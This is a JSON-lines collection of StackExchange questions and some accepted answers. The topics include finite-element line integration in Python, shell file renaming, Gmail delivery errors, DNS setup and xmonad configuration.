{  "id": "_scicomp.27441"  , "question": "I need to integrate the following function on the line segment from $P_{1} = \\begin{bmatrix}-2\\\\-1\\end{bmatrix}$ to$P_{2} = \\begin{bmatrix}1\\\\2\\end{bmatrix}$:$$\\int_{P_{1}}^{P_{2}} 4x + y \\ ds$$This question take part into the implementation of a 2D finite element solver. How I plan to do itSuppose that the following transformation is used to transform a general triangular element K to the standard triangular element $T_{st}$ :$$ x = P(\\xi,\\eta) $$$$y = Q(\\xi,\\eta)$$This corresponds to this physical mapping in fact:Then we have:$$dx = \\frac{\\delta x}{\\delta \\xi}d\\xi + \\frac{\\delta x}{\\delta \\eta}d\\eta = J_{11}d\\xi + J_{21}d\\eta $$$$dy = \\frac{\\delta y}{\\delta \\xi}d\\xi + \\frac{\\delta y}{\\delta \\eta}d\\eta = J_{12}d\\xi + J_{22}d\\eta $$Along the side $P_{1} - P_{2}$, the coordinate $\\xi$ is in fact always fixed. So we can write $d\\eta = 0$ . Using this it comes:$$ dx = (\\frac{\\delta x}{\\delta \\xi})_{\\eta = 0} \\ d\\xi  = J_{11}(\\xi,0) d\\xi $$$$ dy = (\\frac{\\delta y}{\\delta \\xi})_{\\eta = 0} \\ d\\xi  = J_{12}(\\xi,0) d\\xi $$Therefore:$$ ds = \\sqrt{J_{11}^{2}(\\xi,0)+ J_{12}^{2}(\\xi,0)} d\\xi $$So we can rewrite the integral with a variable change accordingly:$$\\int_{P_{1}}^{P_{2}} 4x + y \\ ds = \\int_{0}^{1} B(P(\\xi,0),Q(\\xi,0)) \\ \\sqrt{J_{11}^{2}(\\xi,0)+ J_{12}^{2}(\\xi,0)} d\\xi $$Using this isoparametrical formulation, we can finally compute the numerical integral thanks to a 4 node quadrature :$$ I = \\sum_{i=1}^{gauss \\ point} w_{i} B(P(\\xi_{i},0),Q(\\xi_{i},0)) \\ \\sqrt{J_{11}^{2}(\\xi_{i},0)+ J_{12}^{2}(\\xi_{i},0)} d\\xi $$This can be done with this really simple code in Python (at least I was thinking):Edit of the code : 20.07.2017 => removed an error (dividing by two without reason)# -*- coding: utf-8 -*-from __future__ import division # avoid integer problem of division#Import zoneimport numpy as npimport math#Define shape functiondef P1shapes(r,s):    S = np.array([1-r-s,r,s])    dSdr = np.array([-1,1,0])    dSds = np.array([-1,0,1])    return S,dSdr,dSds#Jacobian functiondef isopmap(x,y,r,s,shapefcn):    # x = vector of x coordinate of the element's point    #shapefcn = P1shapes    S,dSdr,dSds = shapefcn(r,s);    j11=np.dot(dSdr,x)    j12=np.dot(dSdr,y)    j21=np.dot(dSds,x)    j22=np.dot(dSds,y)    detJ=j11*j22-j12*j21    dSdx=( j22*dSdr-j12*dSds)/detJ    dSdy=(-j21*dSdr+j11*dSds)/detJ    return S,dSdx,dSdy,detJ,j11,j12,j21,j22#Gauss point quadratureqwgts=np.array([-27/48,25/48,25/48,25/48])rspts=np.array([[1/3,1/3],[0.2,0.2],[0.6,0.2],[0.2,0.6]])def B(x,y):    z = 4 *x + y    return z#Point of the 3 nodes triangles (test case)x = [-2, 1 ,-1]y = [-1 ,2 ,3]#P1-P2int_total = 0#Begin integral on segmentfor q in range(len(qwgts)):    r = rspts[q,0] # r coordinate of the q_th quadrature point    s = rspts[q,1] # s coordinate of the q_th quadrature point    #Define ds and Map x_physical, y_physical    S,dSdx,dSdy,detJ,j11,j12,j21,j22 = isopmap(x,y,r,0,P1shapes)    ds = math.sqrt(math.pow(j11,2) + math.pow(j12,2))    x_physical = np.dot(x,S)    y_physical = np.dot(y,S)    B_gausspoint = B(x_physical,y_physical)    wxarea = B_gausspoint*qwgts[q]*ds    int_total += wxareaprint int_totalThe result gives:$$ I =  -16.97 $$Of course if I change the third point of the triangle, it should change nothing. With this:x = [-2, 1 ,-1]y = [-1 ,2 ,7]We again find for the path $P_{1} - P_{2}$:$$ I =  -16.97 $$What we should expectFrom an analytical point of view we have for the parametrisation $x = -2 + 3t$ and $y = -1 + 3t$. This allow to have:$$ds = \\sqrt{   (\\frac{dx}{dt})^{2}  +  (\\frac{dy}{dt})^{2}} \\ dt = 3\\sqrt{2} \\ dt$$So we have: $$\\int_{P_{1}}^{P_{2}} 4 x + y \\ ds = \\int_{0}^{1} 4(-2+3t) + (-1+3t)) \\ 3\\sqrt{2} \\ dt = -6.36$$Actually, we can see that the numerical method is not working...My questionDid I make a mystake in the main concept? Is it an implementation error?I think it could be an interesting question for all the people that try to implement a path integral on a FEM mesh.I really did'nt find litterature example to check my implementation.Extension of the questionIs there an other way/more elegant way to compute a path integral on the boundary of my FEM model? It seems that I have everything (non linear solver, quadrature integral for assembly of stiffness matrix, shape function, isoparametric formulation), but I'm really stuck at this point. Without this I never would be able to compute for example:$$ R_{ij} = \\int \\kappa(x,y) \\ \\phi_{i} \\ \\phi_{j} \\ dS \\ for \\ i \\ = \\ 1,2 $$EDIT 20.07.17 : Additional testActually, if we take for the integral $B(x,y) = 1$, we are integrating the length of the path :def B(x,y):    z = 1    return zIf we run the code, we end up with :$$ I = 4.24$$Which is the correct value since the length of the path:$$\\sqrt{(P_{2}^{x} -P_{1}^{x})^{2} + (P_{2}^{y} -P_{1}^{y})^{2} } = 4.24$$Thank you in advance. Correct code (see explanation on accepted answer)# -*- coding: utf-8 -*-from __future__ import division # avoid integer problem of division#Import zoneimport numpy as npimport math#Define shape functiondef P1shapes(r,s):    S = np.array([1-r-s,r,s])    dSdr = np.array([-1,1,0])    dSds = np.array([-1,0,1])    return S,dSdr,dSds#Jacobian functiondef isopmap(x,y,r,s,shapefcn):    # x = vector of x coordinate of the element's point    #shapefcn = P1shapes    S,dSdr,dSds = shapefcn(r,s);    j11=np.dot(dSdr,x)    j12=np.dot(dSdr,y)    j21=np.dot(dSds,x)    j22=np.dot(dSds,y)    detJ=j11*j22-j12*j21    dSdx=( j22*dSdr-j12*dSds)/detJ    dSdy=(-j21*dSdr+j11*dSds)/detJ    return S,dSdx,dSdy,detJ,j11,j12,j21,j22#Gauss point quadrature    def transfo1D(a,b,ti):    #Inverse mapping to find r coordinate from 2D [r,0] space corresponding to 1D space [-1;1] defined by t    epsylon_i = ((b-a)/2.0)*ti + ((b+a)/2.0)    return epsylon_idef B(x,y):    z = 4*math.pow(x,3)    return zcoordinate=np.array([-0.774596669,0.000000000,0.774596669])weight=np.array([0.555555556,0.888888889,0.555555556])#Point of the 3 nodes triangles (test case)x = [-2, 1 ,-1]y = [-1 ,2 ,3]#P1-P2int_total = 0#Begin integral on segmentfor q in range(len(coordinate)):    ti = coordinate[q] # r coordinate of the q_th quadrature point    #Transform this to r space [r,0]    a = 0    b = 1    r = transfo1D(a,b,ti)    dettransform = (b-a)/2.0    #Define ds = fct(r) = fct(r(t))    S,dSdx,dSdy,detJ,j11,j12,j21,j22 = isopmap(x,y,r,0,P1shapes)    ds = math.sqrt(math.pow(j11,2) + math.pow(j12,2))    #Define B(P(r,0),Q(r,0)) = B(P(r(t),0),Q(r(t),0))    x_physical = np.dot(x,S)    y_physical = np.dot(y,S)    B_gausspoint = B(x_physical,y_physical)    wxarea = weight[q] * B_gausspoint* ds * dettransform    int_total += wxareaprint int_total"  , "title": "Line integral along the edge of an isoparametrically mapped triangle"  , "tags": "finite element;boundary conditions;quadrature"  , "accepted_answer": "Interestingly enough, you are using quadrature rule for a master triangle in order to integrate over a segment. You should use quadrature rule for a master segment (e.g. $[-1, 1]$) instead. You should also provide proper transformations $\\mathbf r_i : [-1, 1] \\rightarrow \\partial K_i$, $i = 1, 2, 3$ for each edge of a physical triangle.The best way of doing this is via introducing extra mappings $\\mathbf T_i : [-1, 1] \\rightarrow \\partial \\hat K_i$, $i = 1, 2, 3$ for each edge of the master triangle $\\hat K$.If $\\hat K$ is spanned by vertices $\\{(0,0), (1, 0), (0, 1)\\}$, then $$\\mathbf T_1(t) = \\langle \\, .5(1-t), .5(1+t) \\, \\rangle, \\\\\\mathbf T_2(t) = \\langle \\, 0, .5(1-t) \\, \\rangle, \\\\\\mathbf T_3(t) = \\langle \\, .5(1+t), 0 \\, \\rangle.$$ (I assume that the $i$th edge is the edge against the $i$th vertex.) Then you can set $\\mathbf r_i := \\mathbf T \\circ \\mathbf T_i$, where $\\mathbf T : \\hat K \\rightarrow K$ is a usual mapping from the master triangle to the physical one.So your element Robin matrix can be computed as$$\\mathbf R^K_{ij} := \\int_{\\partial K_m} \\kappa \\, s^K_j \\, s^K_i \\, \\text{d}s = \\int_{-1}^{1} \\left( \\kappa \\, s^K_j \\, s^K_i \\right) \\circ \\mathbf r_m \\, || \\mathbf r_m' || \\, \\text{d}t = \\\\\\int_{-1}^{1} \\left( \\kappa \\circ \\mathbf T \\circ \\mathbf T_m \\right) \\, \\left( \\hat s_j \\circ \\mathbf T_m \\right) \\, \\left( \\hat s_i \\circ \\mathbf T_m \\right) \\, || (\\nabla \\mathbf T \\circ \\mathbf T_m) \\, \\mathbf T_m' || \\, \\text{d}t.$$ Note that this choice of transformations $\\mathbf r_i$ allows you to use master shape functions (so you can compute their images of quadrature nodes only once and then use them for every physical edge). Note also that the length element is constant unless you are using curvilinear mapping $\\mathbf T$ (defined e.g. via $P2$ or $P3$ Lagrange shape functions).Finally, note that you have to use quadrature rule for the master segment $[-1, 1]$. "  } 
{  "id": "_unix.4325"  , "question": "I have a folder that has a number of files all of a similar form as:Dropkick Murphys - 01 - Walk Away.mp3Dropkick Murphys - 02 - Workers Song.mp3And so forth...I want to convert them all so that they appear as:01 - Walk Away.mp302 - Workers Song.mp3How can I do this?"  , "title": "truncating file names"  , "tags": "command line;bash"  , "accepted_answer": "Under Ubuntu or Debian, it is simply:rename 's/Dropkick Murphys - //' *mp3"  } 
{  "id": "_webapps.102442"  , "question": "I'm working on a demo for a business user to see if Google Forms can provide a quick solution to gathering some data.  One of the requirements is a Combobox for one of the fields, where the user can either type into the text field or a dropdown will suggest options. I know there is a drop down option, but is there something more I can do with scripting or custom coding to add this feature?"  , "title": "Combobox in Google Forms"  , "tags": "google forms"  } 
{  "id": "_webapps.42771"  , "question": "Four days ago emails sent to our Gmail accounts via our ISP's mail servies started being rejected due to not being RFC 2822 complainant.The following message to  was undeliverable. The reason for the problem:  5.3.0 - Other mail system problem 550-'5.7.1 [2001:44b8:8060:ff02:300:1:6:6 11] Our system has detected that\\n5.7.1 this message is not RFC 2822 compliant. To reduce the amount of spam\\n5.7.1 sent to Gmail, this message has been blocked. Please review\\n5.7.1 RFC 2822 specifications for more information.  iw4si27447595pac.153 - gsmtp'Its frustrating because these emails have been working fine for over a yearI'm assuming Google has upped their filters in the last week. The email address we are trying to send to belongs to our Google Apps for Business account. I'm wondering, is there a way to override the RFC 2822 compliance filter to allow the emails to come through?So far, adding the ISPs domain name to the spam whitelist in Gmail settings (in the Apps control panel) hasnt worked.The telnet log for the rejected message in question is:220-ipmail06.adl6.xxxxx.net ESMTP 220 ESMTP; eth2958.xxx.adsl.OurISP.net [150.xxx.xxx.xx1] in MTAHELO WINDOWS-xxxxx (<- this is our server name) 250 ipmail06.adl6.OurISP.net MAIL FROM: account@OurISP.net250 sender ok RCPT TO: admin@googleappsdomain.com250 recipient ok RCPT TO: admin@DifferentGoogleAppsDomain.com250 recipient ok DATA 354 go ahead Subject: Test email from the Avid ISIS Notification Application This message was generated by Avid ISIS Notification Application. . QUIT 250 ok: Message 716893804 accepted"  , "title": "Emails sent to Gmail domain suddenly not RFC 2822 compliant, Possible to bypass with Google Apps?"  , "tags": "gmail;google apps;spam prevention"  } 
{  "id": "_webmaster.100031"  , "question": "I'm stuck on the last stage(going live) of Firebase hosting. I have a Godaddy domain:As u can see i put down all the CNAME and A records.I'm adding my firebase.json in case it's conneted in some manner.So,what I'm doing wrong?How can I make it work?Notice that the site works..But i believe something is wrong, otherwise firebase would finish the process.tnx"  , "title": "Firebase hosting not going live - stuck on Continue setup to direct traffic to your domain"  , "tags": "web hosting;dns;godaddy;cname"  } 
{  "id": "_codereview.169740"  , "question": "I have the following code, and I'd like to refactor it to a more functional way:public void processPersons(List<Person> personList) {    for (Person person : personList) {        Integer addressId = createAddress(person);        if (addressId != null) {            updateDbStatus(addressId, person);        }    }}How do I convert the above to a more functional style of programming?"  , "title": "Updating persons in database with newly created addresses"  , "tags": "java;functional programming"  } 
{  "id": "_unix.351615"  , "question": "Given a file wrong_name.txt, how can I add it to a zip archives archive.zip with an other name right_name.txt without modifying the file itself."  , "title": "How to add a file to a zip with another filename?"  , "tags": "rename;zip"  , "accepted_answer": "One way to cheat, since zip adds referenced files and not the symlink itself (barring the -y option):ln -s wrong_name.txt right_name.txtzip myzip.zip right_name.txtrm right_name.txt wrong_name.txtunzip myzip.zip--> right_name.txt"  } 
{  "id": "_unix.33529"  , "question": "I was thinking it would be cool to be able to look things up in the man pages the same way one looks up words with the Dictionary app.  Is there a way to add the man pages that OSX supplies into the Dictionary app so when you right click on a word (or in this case, a unix function/keyword/etc.), and click Look Up in Dictionary, it can search for the word in the man pages too and integrate the search results into the Dictionary window?  So when the window pops up, the tabs across the top would be All, Dictionary, Thesaurus, Apple, Wikipedia, Man Pages.  Or is this too wishful of thinking?"  , "title": "Is there a way to integrate the unix man pages into OSX's Dictionary app?"  , "tags": "osx"  , "accepted_answer": "No. The Dictionary's support for Wikipedia is hard-coded; it's not pluggable. (There is a class internal to Dictionary.app called WikipediaDictionaryObj.)"  } 
{  "id": "_unix.255423"  , "question": "I want to change shell from ksh to bash and source the .kshrc file. I want to execute following lines of command sequentially:bash. ~/.kshrcclear Can anybody help me? "  , "title": "How to change shell from script"  , "tags": "bash;scripting;ksh"  } 
{  "id": "_unix.279974"  , "question": "I have a Ruby 1.8.7 app which runs under Phusion Passenger and Nginx, for one of my clients, on an Ubuntu VPS.  It's been ticking away happily for years, but yesterday ran out of log space (sending me an error via monit which i use to monitor it).I cleared out the bloated log file by doing the following:sudo cat /dev/null > log/production.logthen restarted and it was back to normal.  This morning, i've got another error, which i've not seen before.  I don't know if it's related to the log problem, it might just be a coincidence, but it's odd to get two problems so close together after literally years of nothing at all going wrong.  I haven't made any changes to anything.This is the stack trace i see:Passenger encountered the following error:The application spawner server exited unexpectedly: Connection closedException class:PhusionPassenger::Rack::ApplicationSpawner::ErrorBacktrace:#   File    Line    Location0   /usr/local/lib/ruby/gems/1.8/gems/passenger-3.0.2/lib/phusion_passenger/rack/application_spawner.rb 118 in `spawn_application'1   /usr/local/lib/ruby/gems/1.8/gems/passenger-3.0.2/lib/phusion_passenger/spawn_manager.rb    257 in `spawn_rack_application'2   /usr/local/lib/ruby/gems/1.8/gems/passenger-3.0.2/lib/phusion_passenger/abstract_server_collection.rb   82  in `synchronize'3   /usr/local/lib/ruby/gems/1.8/gems/passenger-3.0.2/lib/phusion_passenger/abstract_server_collection.rb   79  in `synchronize'4   /usr/local/lib/ruby/gems/1.8/gems/passenger-3.0.2/lib/phusion_passenger/spawn_manager.rb    244 in `spawn_rack_application'5   /usr/local/lib/ruby/gems/1.8/gems/passenger-3.0.2/lib/phusion_passenger/spawn_manager.rb    137 in `spawn_application'6   /usr/local/lib/ruby/gems/1.8/gems/passenger-3.0.2/lib/phusion_passenger/spawn_manager.rb    275 in `handle_spawn_application'7   /usr/local/lib/ruby/gems/1.8/gems/passenger-3.0.2/lib/phusion_passenger/abstract_server.rb  357 in `__send__'8   /usr/local/lib/ruby/gems/1.8/gems/passenger-3.0.2/lib/phusion_passenger/abstract_server.rb  357 in `server_main_loop'9   /usr/local/lib/ruby/gems/1.8/gems/passenger-3.0.2/lib/phusion_passenger/abstract_server.rb  206 in `start_synchronously'10  /usr/local/lib/ruby/gems/1.8/gems/passenger-3.0.2/helper-scripts/passenger-spawn-server 99  I've tried restarting it by doing touch tmp/restart.txtin the project folder, which is the normal restart procedure for the app, and also restarting nginx.  I still get the same error.Kind of out of ideas - has anyone seen this error before or have any ideas on how to fix it?"  , "title": "Sudden problem with a rack/passenger ruby app: Connection closed"  , "tags": "nginx;ruby"  } 
{  "id": "_unix.89089"  , "question": "In my first question, I asked how to get the Date created field in NTFS-3G. Now, that I know I can get the Date created, I have started adding files onto my NTFS-3G partition and would like to set the Date created of each file to its Date modified value.Since this needs to be done on a whole repository of files, I would like to recursively apply it to a single directory on down. If I know how to do this for a single file, I could probably do the recursion myself, but if you want to add that in I would be more than happy."  , "title": "How do I recursively set the date created attribute to the date modified attribute on NTFS-3G?"  , "tags": "files;date;file copy;ntfs;ntfs 3g"  } 
{  "id": "_webmaster.5474"  , "question": "I see that most domain names that contain some nice words like: www.pixelmania.com , www.musicbox.com and so on... are registered but look just auto-populated with some random data. Why they do this ? Is it for me to pay extra to get that domain? Is it for advertising purposes (all of them have insane amounts of ads on them)? Or what ... ?"  , "title": "What is the idea behind occupying domains?"  , "tags": "domains"  , "accepted_answer": "They're probably expired domains that were snapped up by companies that build huge networks of domains with the sole purpose of showing advertising. They make countless millions of dollars a year doing it. "  } 
{  "id": "_reverseengineering.11811"  , "question": "I am using IDA Pro to disassemble a C++ behemoth with 1600+ classes, many of them having pure virtual methods.Some classes also are made up of multiple base classes, in hierarchies 5+ levels deep.Ida PRO supports making structures of pointers, to handle vtables, but some of the final classes can have multiple different vtables in the same slot, due to heavy polymorphism, so how you organize the vtables? How you tell IDA that in this method, or that method, what vtable is actually being refered to?"  , "title": "How to organize vtables in IDA Pro?"  , "tags": "ida;c++;hexrays"  } 
{  "id": "_webmaster.51011"  , "question": "What are SEO risks and what are the best courses of action via Google, when an industry competitor duplicates 95% of your home page content and passes it as their own. Especially when your own website has ranked for years etc and held this unique copy for years. Further to this - what are the implications when another industry competitor replicates both your entire site design template and word for word content across your ENTIRE website?  "  , "title": "Home Page plagiarism risks from a competitors"  , "tags": "seo"  } 
{  "id": "_scicomp.21768"  , "question": "I was wondering if anyone could help with understanding the geometric conservation law for moving domains. I came across Link1, and have tried to understood the paper by Farhat et al Link2. So far my understanding is that the two things to consider are 1) the time step to which the cell areas using for integration of flux terms correspond to; 2) the time step at which the mesh velocity ( $\\dot{x}$ ) is being evaluated. Finally, the ALE equations must also be satisfied for a uniform flow case. The paper states a GCL law as:$$A_{i}x^{n+1}-A_{i}x^{n}=\\int_{t^{n}}^{t^{n+1}}\\int_{\\partial C_{i}(x)}\\dot{x}\\overrightarrow{n}d\\sigma dt$$where $A$ refers to the area of cells, $C$ refers to the cell areas swept by the  fluxes, t is time, x is the spatial coordinate at the current configuration, and I think $\\sigma$ refers to the surface area of integration corresponding $C$. I have a few questions that I would really appreciate some help with:1)  what is $C$ in 1D. Is C referring to the length of the cells or the area, which is set to 1 in 1D.2) in the paper (just before equation 16), for a uniform flow, it sets the variables being solved for at different time steps equal to each other. Is that not the definition of steady flow?3) Finally, is there a way to determine whether a set of numerical results in 1D, obey GCL or not, without actually going through the equations. For instance, my understanding is that the results should stay independent of the moving domains, so if I compared the results obtained using  $\\dot{x}$ =0 and $\\dot{x} \\neq 0$ and showed that they were not the same?If there are any simpler papers or examples on GCL, please let me know. Thank you in advance."  , "title": "a few questions on understanding geometric conservation law"  , "tags": "finite element;fluid dynamics;finite volume;discretization"  } 
{  "id": "_cs.20249"  , "question": "Language:$ L = a^{n+m}b^{n}c^{m} $As per a recent test I gave, this language is not context free.However, I think it is.Corresponding Grammar:$ X \\rightarrow aXY \\space |\\space \\epsilon $$ Y \\rightarrow b \\space | \\space c $Pushdown Automata:Keeping pushing all $a$ to the stack, until a $b$ is scanned. Keeping popping  $a$ from stack for each character scanned, until end of input.If, after the end of input the stack is empty accept the string. Else, go to non-accepting state.Please let me know if I'm thinking along the right lines or if I've missed something.."  , "title": "Is $a^{n+m}b^{n}c^{m}$ context free?"  , "tags": "formal languages;context free;formal grammars"  , "accepted_answer": "the corresponding grammar you gave would accept aaaabcbc. A better grammar for this problem would be$X \\rightarrow aXc$$X \\rightarrow aYb$$X \\rightarrow \\lambda$$Y \\rightarrow aYb$$Y \\rightarrow \\lambda$where $\\lambda$ is empty string. "  } 
{  "id": "_cs.60114"  , "question": "I have several algorithms that map read-only input into write-only output utilizing only logarithmic space with pointer arithmetic. While the algorithms have a very small $O(\\log^c{}n)$ critical path time complexity, fully parallelizing is too impractical with today's computers due to high degree polynomial growth in required resources.What are some general purpose techniques to transform logarithmic space algorithms to low sequential time complexity (preferably linear) by utilizing more space (preferably linear)?"  , "title": "Space-time tradeoffs for deterministic logarithmic space algorithms"  , "tags": "time complexity;space complexity;program optimization"  } 
{  "id": "_hardwarecs.4054"  , "question": "I want to build a low power relatively cheep NAS that can hold at least two drives. I want to go the DIY route since I'm blind and would rather do everything from the command-line instead of relying on a third party GUI that may or may not be accessible. What would good hardware be for this? All the single board computers I've found appear to have either one or no SATA ports. I'd prefer a pre-built system that only requires hard drives but can build a computer from scratch if required."  , "title": "Low power computer with at least two SATA ports?"  , "tags": "linux;nas"  } 
{  "id": "_unix.175127"  , "question": "I installed xmonbar and try to launch it.xmonbar &I got Stopped. I don't know what's wrong. Here is my .xmobarrcConfig { font = -misc-fixed-*-*-*-*-13-*-*-*-*-*-*-*   , borderColor = black   , border = TopB   , allDesktops = True   , overrideRedirect = True   , persistent = False   , hideOnStart = False   , bgColor = black   , fgColor = grey   , position = TopW L 100   , lowerOnStart = True   , commands = [ Run Cpu [-L,15,-H,50,--normal,green,--high,red] 10                , Run Date %a %b %_d %Y %H:%M:%S date 10                , Run StdinReader                ]   , sepChar = %   , alignSep = }{   , template = %StdinReader% }{ %cpu% | %date%   }By the way, I'm running xmonad window manager. It works well.Edit:My xmonad.hs file:---- xmonad example config file.---- A template showing all available configuration hooks,-- and how to override the defaults in your own xmonad.hs conf file.---- Normally, you'd only override those defaults you care about.--import XMonadimport System.Exitimport qualified XMonad.StackSet as Wimport qualified Data.Map        as Mimport XMonad.Hooks.DynamicLogimport XMonad.Hooks.ManageDocksimport XMonad.Util.EZConfig(additionalKeys)import System.IOimport Graphics.X11.ExtraTypes.XF86-- The preferred terminal program, which is used in a binding below and by-- certain contrib modules.--myTerminal      = xterm-- myTerminal      = gnome-terminal-- Width of the window border in pixels.--myBorderWidth   = 1-- modMask lets you specify which modkey you want to use. The default-- is mod1Mask (left alt).  You may also consider using mod3Mask-- (right alt), which does not conflict with emacs keybindings. The-- windows key is usually mod4Mask.---- myModMask       = mod1MaskmyModMask       = mod4Mask-- The mask for the numlock key. Numlock status is masked from the-- current modifier status, so the keybindings will work with numlock on or-- off. You may need to change this on some systems.---- You can find the numlock modifier by running xmodmap and looking for a-- modifier with Num_Lock bound to it:---- > $ xmodmap | grep Num-- > mod2        Num_Lock (0x4d)---- Set numlockMask = 0 if you don't have a numlock key, or want to treat-- numlock status separately.--myNumlockMask   = mod2Mask-- The default number of workspaces (virtual screens) and their names.-- By default we use numeric strings, but any string may be used as a-- workspace name. The number of workspaces is determined by the length-- of this list.---- A tagging example:---- > workspaces = [web, irc, code ] ++ map show [4..9]--myWorkspaces    = [1,2,3,4,5,6,7,8,9]-- Border colors for unfocused and focused windows, respectively.--myNormalBorderColor  = #ddddddmyFocusedBorderColor = #ff0000-------------------------------------------------------------------------- Key bindings. Add, modify or remove key bindings here.--myKeys conf@(XConfig {XMonad.modMask = modm}) = M.fromList $    -- launch a terminal    [ ((modm .|. shiftMask, xK_Return), spawn $ XMonad.terminal conf)    -- launch dmenu    , ((modm,               xK_p     ), spawn exe=`dmenu_path | dmenu_run -fn 'DejaVu Sans Mono 12'` && eval \\exec $exe\\)    -- launch Chrome browser    , ((modm, xK_b), spawn exe=`google-chrome`)    -- launch Emacs editor    , ((modm, xK_z), spawn exe=`emacs`)    -- launch gmrun    , ((modm .|. shiftMask, xK_p     ), spawn gmrun)    -- close focused window     , ((modm .|. shiftMask, xK_c     ), kill)     -- Rotate through the available layout algorithms    , ((modm,               xK_space ), sendMessage NextLayout)    --  Reset the layouts on the current workspace to default    , ((modm .|. shiftMask, xK_space ), setLayout $ XMonad.layoutHook conf)    -- Resize viewed windows to the correct size    , ((modm,               xK_n     ), refresh)    -- Move focus to the next window    , ((modm,               xK_Tab   ), windows W.focusDown)    -- Move focus to the next window    , ((modm,               xK_j     ), windows W.focusDown)    -- Move focus to the previous window    , ((modm,               xK_k     ), windows W.focusUp  )    -- Move focus to the master window    , ((modm,               xK_m     ), windows W.focusMaster  )    -- Swap the focused window and the master window    , ((modm,               xK_Return), windows W.swapMaster)    -- Swap the focused window with the next window    , ((modm .|. shiftMask, xK_j     ), windows W.swapDown  )    -- Swap the focused window with the previous window    , ((modm .|. shiftMask, xK_k     ), windows W.swapUp    )    -- Shrink the master area    , ((modm,               xK_h     ), sendMessage Shrink)    -- Expand the master area    , ((modm,               xK_l     ), sendMessage Expand)    -- Push window back into tiling    , ((modm,               xK_t     ), withFocused $ windows . W.sink)    -- Increment the number of windows in the master area    , ((modm              , xK_comma ), sendMessage (IncMasterN 1))    -- Deincrement the number of windows in the master area    , ((modm              , xK_period), sendMessage (IncMasterN (-1)))    -- toggle the status bar gap (used with avoidStruts from Hooks.ManageDocks)    -- , ((modm , xK_b ), sendMessage ToggleStruts)    -- Quit xmonad    , ((modm .|. shiftMask, xK_q     ), io (exitWith ExitSuccess))    -- Restart xmonad    , ((modm              , xK_q     ), restart xmonad True)   , ((mod4Mask .|. shiftMask, xK_z), spawn xscreensaver-command -lock),      ((0                     , 0x1008FF11), spawn amixer set Master 2-),      ((0                     , 0x1008FF13), spawn amixer set Master 2+), ((0                     , 0x1008FF12), spawn amixer set Master toggle)-- ((0, xF86XK_AudioMute          ), spawn amixer set Master toggle)        ]    ++    --    -- mod-[1..9], Switch to workspace N    -- mod-shift-[1..9], Move client to workspace N    --    [((m .|. modm, k), windows $ f i)        | (i, k) <- zip (XMonad.workspaces conf) [xK_1 .. xK_9]        , (f, m) <- [(W.greedyView, 0), (W.shift, shiftMask)]]    ++    --    -- mod-{w,e,r}, Switch to physical/Xinerama screens 1, 2, or 3    -- mod-shift-{w,e,r}, Move client to screen 1, 2, or 3    --    [((m .|. modm, key), screenWorkspace sc >>= flip whenJust (windows . f))        | (key, sc) <- zip [xK_w, xK_e, xK_r] [0..]        , (f, m) <- [(W.view, 0), (W.shift, shiftMask)]]-------------------------------------------------------------------------- Mouse bindings: default actions bound to mouse events--myMouseBindings (XConfig {XMonad.modMask = modMask}) = M.fromList $    -- mod-button1, Set the window to floating mode and move by dragging    [ ((modMask, button1), (\\w -> focus w >> mouseMoveWindow w))    -- mod-button2, Raise the window to the top of the stack    , ((modMask, button2), (\\w -> focus w >> windows W.swapMaster))    -- mod-button3, Set the window to floating mode and resize by dragging    , ((modMask, button3), (\\w -> focus w >> mouseResizeWindow w))    -- you may also bind events to the mouse scroll wheel (button4 and button5)    ]-------------------------------------------------------------------------- Layouts:-- You can specify and transform your layouts by modifying these values.-- If you change layout bindings be sure to use 'mod-shift-space' after-- restarting (with 'mod-q') to reset your layout state to the new-- defaults, as xmonad preserves your old layout settings by default.---- The available layouts.  Note that each layout is separated by |||,-- which denotes layout choice.--myLayout = avoidStruts (tiled ||| Mirror tiled ||| Full)  where     -- default tiling algorithm partitions the screen into two panes     tiled   = Tall nmaster delta ratio     -- The default number of windows in the master pane     nmaster = 1     -- Default proportion of screen occupied by master pane     ratio   = 1/2     -- Percent of screen to increment by when resizing panes     delta   = 3/100-------------------------------------------------------------------------- Window rules:-- Execute arbitrary actions and WindowSet manipulations when managing-- a new window. You can use this to, for example, always float a-- particular program, or have a client always appear on a particular-- workspace.---- To find the property name associated with a program, use-- > xprop | grep WM_CLASS-- and click on the client you're interested in.---- To match on the WM_NAME, you can use 'title' in the same way that-- 'className' and 'resource' are used below.--myManageHook = composeAll    [ className =? MPlayer        --> doFloat    , className =? Gimp           --> doFloat    , resource  =? desktop_window --> doIgnore    , resource  =? kdesktop       --> doIgnore ]-- Whether focus follows the mouse pointer.myFocusFollowsMouse :: BoolmyFocusFollowsMouse = True-------------------------------------------------------------------------- Status bars and logging-- Perform an arbitrary action on each internal state change or X event.-- See the 'DynamicLog' extension for examples.---- To emulate dwm's status bar---- > logHook = dynamicLogDzen--myLogHook = return ()-- myLogHook = dynamicLogDzen-------------------------------------------------------------------------- Startup hook-- Perform an arbitrary action each time xmonad starts or is restarted-- with mod-q.  Used by, e.g., XMonad.Layout.PerWorkspace to initialize-- per-workspace layout choices.---- By default, do nothing.-- myStartupHook = return ()myStartupHook = do          spawn python2 ~/apps/goagent-goagent-593bfa1/local/proxy.py&-------------------------------------------------------------------------- Now run xmonad with all the defaults we set up.-- Run xmonad with the settings you specify. No need to modify this.--main = xmonad defaults-- A structure containing your configuration settings, overriding-- fields in the default config. Any you don't override, will -- use the defaults defined in xmonad/XMonad/Config.hs-- -- No need to modify this.--defaults = defaultConfig {      -- simple stuff        terminal           = myTerminal,        focusFollowsMouse  = myFocusFollowsMouse,        borderWidth        = myBorderWidth,        modMask            = myModMask,--        numlockMask        = myNumlockMask,        workspaces         = myWorkspaces,        normalBorderColor  = myNormalBorderColor,        focusedBorderColor = myFocusedBorderColor,      -- key bindings        keys               = myKeys,        mouseBindings      = myMouseBindings,      -- hooks, layouts        layoutHook         = myLayout,        manageHook         = myManageHook,        logHook            = myLogHook,        startupHook        = myStartupHook    }"  , "title": "xmobar doesn't appear"  , "tags": "xmonad"  } 
{  "id": "_softwareengineering.315295"  , "question": "Is an API always returning 200 OK, an issue?"  , "title": "Code structure of third party framework"  , "tags": "c#;mvc;rest;api;solid"  } 
